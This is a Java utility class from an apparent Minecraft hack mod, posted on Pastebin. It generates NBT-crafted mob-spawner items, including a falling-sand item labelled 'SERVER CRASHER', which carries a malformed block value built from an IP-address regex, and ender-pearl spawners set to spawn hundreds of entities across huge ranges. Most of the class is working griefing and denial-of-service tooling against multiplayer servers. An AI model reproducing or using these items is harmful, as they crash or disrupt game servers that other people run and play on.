Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package de.tnt_block_unkown.tntmod.utils;
- import net.minecraft.init.Blocks;
- import net.minecraft.item.Item;
- import net.minecraft.item.ItemStack;
- import net.minecraft.nbt.NBTTagCompound;
- import net.minecraft.nbt.NBTTagDouble;
- import net.minecraft.nbt.NBTTagList;
- public class HackedItemUtils {
- public static ItemStack generateTeleportSpawner(String owner, double x, double y, double z) {
- ItemStack itm = new ItemStack(Blocks.mob_spawner);
- NBTTagCompound base = new NBTTagCompound();
- NBTTagCompound blockEntityTag = new NBTTagCompound();
- blockEntityTag.setString("EntityId", "ThrownEnderpearl");
- blockEntityTag.setInteger("SpawnCount", 1);
- blockEntityTag.setInteger("SpawnRange", 1);
- blockEntityTag.setInteger("RequiredPlayerRange", 20);
- blockEntityTag.setInteger("MinSpawnDelay", 5);
- blockEntityTag.setInteger("MaxSpawnDelay", 5);
- blockEntityTag.setInteger("MaxNearbyEntities", 20);
- NBTTagCompound spawnData = new NBTTagCompound();
- spawnData.setByte("shake", (byte) 0);
- spawnData.setString("ownerName", owner);
- NBTTagList pos = new NBTTagList();
- pos.appendTag(new NBTTagDouble(x));
- pos.appendTag(new NBTTagDouble(y));
- pos.appendTag(new NBTTagDouble(z));
- spawnData.setTag("Pos", pos);
- blockEntityTag.setTag("SpawnData", spawnData);
- base.setTag("BlockEntityTag", blockEntityTag);
- itm.setTagCompound(base);
- return itm;
- }
- public static ItemStack generateSpielerWirbler(String owner, double y) {
- ItemStack itm = new ItemStack(Blocks.mob_spawner);
- NBTTagCompound blockEntityTag = new NBTTagCompound();
- blockEntityTag.setString("EntityId", "ThrownEnderpearl");
- blockEntityTag.setInteger("SpawnCount", 500);
- blockEntityTag.setInteger("SpawnRange", 50);
- blockEntityTag.setInteger("RequiredPlayerRange", 5000);
- blockEntityTag.setInteger("MinSpawnDelay", 5);
- blockEntityTag.setInteger("MaxSpawnDelay", 5);
- blockEntityTag.setInteger("MaxNearbyEntities", 5000);
- NBTTagCompound spawnData = new NBTTagCompound();
- spawnData.setByte("shake", (byte) 0);
- spawnData.setString("ownerName", owner);
- NBTTagList motion = new NBTTagList();
- motion.appendTag(new NBTTagDouble((double) 0.0D));
- motion.appendTag(new NBTTagDouble((double) y));
- motion.appendTag(new NBTTagDouble((double) 0.0D));
- spawnData.setTag("Motion", motion);
- blockEntityTag.setTag("SpawnData", spawnData);
- itm.setTagInfo("BlockEntityTag", blockEntityTag);
- itm.setStackDisplayName("§4TNTModSpawner: " + "§6Owner: §f" + owner + " | §6Höhe: §f" + String.valueOf(y));
- return itm;
- }
- public static ItemStack generateStandartSpawner(String entity, int count, int range, int playerrange, int delay, int mindelay,
- int maxdelay, int maxnearbyentitys) {
- ItemStack itm = new ItemStack(Blocks.mob_spawner);
- NBTTagCompound blockEntityTag = new NBTTagCompound();
- blockEntityTag.setString("EntityId", entity);
- blockEntityTag.setInteger("SpawnCount", count);
- blockEntityTag.setInteger("SpawnRange", range);
- blockEntityTag.setInteger("RequiredPlayerRange", playerrange);
- blockEntityTag.setInteger("Delay", delay);
- blockEntityTag.setInteger("MinSpawnDelay", mindelay);
- blockEntityTag.setInteger("MaxSpawnDelay", maxdelay);
- blockEntityTag.setInteger("MaxNearbyEntities", maxnearbyentitys);
- itm.setTagInfo("BlockEntityTag", blockEntityTag);
- itm.setStackDisplayName("§4TNTModSpawner: " + entity);
- return itm;
- }
- public static ItemStack generateFallingSandServerStopper() {
- ItemStack itm = new ItemStack(Blocks.mob_spawner);
- NBTTagCompound blockEntityTag = new NBTTagCompound();
- blockEntityTag.setString("EntityId", "FallingSand");
- blockEntityTag.setInteger("SpawnCount", 500);
- blockEntityTag.setInteger("SpawnRange", 50);
- blockEntityTag.setInteger("RequiredPlayerRange", 5000);
- blockEntityTag.setInteger("MinSpawnDelay", 5);
- blockEntityTag.setInteger("MaxSpawnDelay", 5);
- blockEntityTag.setInteger("MaxNearbyEntities", 5000);
- NBTTagCompound spawnData = new NBTTagCompound();
- spawnData.setString("Block",
- "((25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9])\\.(25[0-5]|2[0-4]"
- + "[0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1]"
- + "[0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}" + "|[1-9][0-9]|[0-9]))");
- spawnData.setInteger("Data", 0);
- spawnData.setInteger("Time", 1);
- spawnData.setInteger("DropItem", 0);
- blockEntityTag.setTag("SpawnDat", spawnData);
- itm.setTagInfo("BlockEntityTag", blockEntityTag);
- itm.setStackDisplayName("§4§l§oSERVER CRASHER! ACHTUNG");
- return itm;
- }
- public static NBTTagCompound generateRidingFlyCompound() {
- NBTTagCompound riding = new NBTTagCompound();
- riding.setString("id", "Bat");
- riding.setInteger("Silent", 1);
- NBTTagList activeEffects = new NBTTagList();
- NBTTagCompound invis = new NBTTagCompound();
- invis.setInteger("Id", 14);
- invis.setInteger("Amplifier", 0);
- invis.setInteger("Duration", 2147483647);
- invis.setByte("ShowParticles", (byte) 0);
- activeEffects.appendTag(invis);
- riding.setTag("ActiveEffects", activeEffects);
- return riding;
- }
- public static ItemStack generateFlyItems(String item) throws Error {
- Item fromMC = Item.getByNameOrId(item.toLowerCase());
- if (fromMC != null) {
- ItemStack itm = new ItemStack(Blocks.mob_spawner, 1, 0);
- NBTTagCompound blockEntityTag = new NBTTagCompound();
- blockEntityTag.setInteger("SpawnCount", 5);
- blockEntityTag.setInteger("SpawnRange", 2);
- blockEntityTag.setInteger("MaxNearbyEntities", 5);
- blockEntityTag.setInteger("Delay", 5);
- blockEntityTag.setString("EntityId", "Item");
- NBTTagCompound spawnData = new NBTTagCompound();
- NBTTagCompound spawnItem = new NBTTagCompound();
- spawnItem.setString("id", item.toLowerCase());
- spawnItem.setInteger("Count", 1);
- spawnData.setTag("Item", spawnItem);
- spawnData.setInteger("Age", -32768);
- spawnData.setInteger("PickupDelay", 32767);
- spawnData.setTag("Riding", generateRidingFlyCompound());
- blockEntityTag.setTag("SpawnData", spawnData);
- itm.setTagInfo("BlockEntityTag", blockEntityTag);
- itm.setStackDisplayName("§6Flying: " + Character.toUpperCase(item.charAt(0)) + item.substring(1));
- return itm;
- } else {
- throw new Error("Item nicht gefunden!");
- }
- }
- }
Add Comment
Please, Sign In to add comment